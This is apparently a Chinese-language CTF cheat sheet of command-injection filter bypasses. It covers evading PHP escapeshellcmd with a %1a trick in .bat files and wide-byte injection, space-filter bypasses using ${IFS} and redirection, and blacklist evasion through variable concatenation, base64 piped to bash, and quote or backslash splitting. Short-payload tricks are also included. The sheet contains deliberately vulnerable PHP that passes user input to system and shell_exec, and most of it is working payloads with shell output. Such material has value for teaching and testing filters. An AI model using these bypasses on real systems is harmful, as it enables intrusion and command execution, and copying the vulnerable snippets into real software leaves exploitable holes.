0x01 绕过escapeshellcmd
法一:win下执行bat
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>
执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。 payload:
dir=../ %1a whoami
法二:宽字节注入
php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。
escapeshellcmd("echo ".chr(0xc0).";id");
之后该语句会变成
echo 繺;id
从而实现 id 命令的注入。
0x02 空格过滤
法一: ${IFS}
payload1:
ubuntu@VM-207-93-ubuntu:~$ cat flag
nice day
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}flag
nice day
payload2:
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}$9flag
nice day
payload3:
ubuntu@VM-207-93-ubuntu:~$ cat$IFS$9flag
nice day
法二: 重定向符<>
payload1:
ubuntu@VM-207-93-ubuntu:~$ cat<>flag
nice day
payload2:
ubuntu@VM-207-93-ubuntu:~$ cat<flag
nice day
0x03 黑名单绕过
法一: 拼接
ubuntu@VM-207-93-ubuntu:~$ a=c;b=at;c=flag;$a$b $c
nice day
法二: 利用已存在的资源
从已有的文件或者环境变量中获得相应的字符。
法三: base64编码
payload1:
ubuntu@VM-207-93-ubuntu:~$ `echo "Y2F0IGZsYWc="|base64 -d`
nice day
payload2:
ubuntu@VM-207-93-ubuntu:~$ echo "Y2F0IGZsYWc="|base64 -d|bash
nice day
法四: 单引号、双引号
payload1:
ubuntu@VM-207-93-ubuntu:~$ c""at flag
nice day
payload2:
ubuntu@VM-207-93-ubuntu:~$ c""at fl""ag
nice day
payload3:
ubuntu@VM-207-93-ubuntu:~$ c""at fl''ag
nice day
法五:反斜线 \
payload:
ubuntu@VM-207-93-ubuntu:~$ c\at fl\ag
nice day
0x04 无回显
0x05 长度限制
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>
文件构造
payload1:
a>wget
payload2:
1>wget
payload3:
>wget
将会创建一个名字为wget的空文件。payload1会报错,payload2不会报错。.
0x06 LINUX下一些已有字符
- ${PS2} 对应字符 '>'
- ${PS4} 对应字符 '+'
- ${IFS} 对应 内部字段分隔符
- ${9} 对应 空字符串